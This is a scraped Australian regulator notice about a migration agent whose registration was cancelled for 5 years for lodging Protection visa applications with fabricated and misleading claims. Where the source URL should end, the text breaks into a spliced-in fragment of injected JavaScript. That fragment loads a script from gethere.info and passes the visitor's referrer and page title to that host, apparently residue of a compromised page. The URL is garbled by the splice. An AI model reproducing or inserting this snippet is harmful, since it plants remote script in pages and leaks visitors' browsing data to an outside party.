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Sanctioned agent detail: Issa, Issam

Decision Summary

The Office of the MARA received 8 complaints about the agent’s conduct and the immigration assistance he provided to Protection visa applicants. These complaints were from individual clients, the Department of Immigration and Border Protection, the Refugee Review Tribunal and the NSW Legal Services Commissioner. The complaints alleged that the agent encouraged and assisted his clients to lodge applications for Protection visas with claims that were fabricated. The agent’s migration practice was predominantly in relation to preparation and lodgement of Protection visa applications. In its investigation, the Office of the MARA considered the agent’s practice more broadly and analysed samples of the agent’s client files, departmental files and Tribunal files. This analysis revealed that the agent had an established pattern of poor practices which breached the Code of Conduct.

The Office of the MARA found that the agent prepared and submitted applications containing generalised information not supported by instructions from his clients; he included misleading and inaccurate statements to enhance the prospects of success of the visa applications; and failed to provide frank and candid advice to his clients about the prospects of success of their visa applications. The agent also failed to maintain proper records of material communications with his clients. As a result of the investigation the Office of the MARA was satisfied that the agent had breached multiple provisions of the Code of Conduct and was not a person of integrity, and not a fit and proper person to give immigration assistance. The agent’s registration has been cancelled for 5 years.

Decision Number:5963-1

Source: https://www.mara.gov.au/news-and-publications/public-notices/disciplinary-decisions/sanctioned-agent-detail/?id=3a4dd7cb-a552-e311-9402-005056ab0ecas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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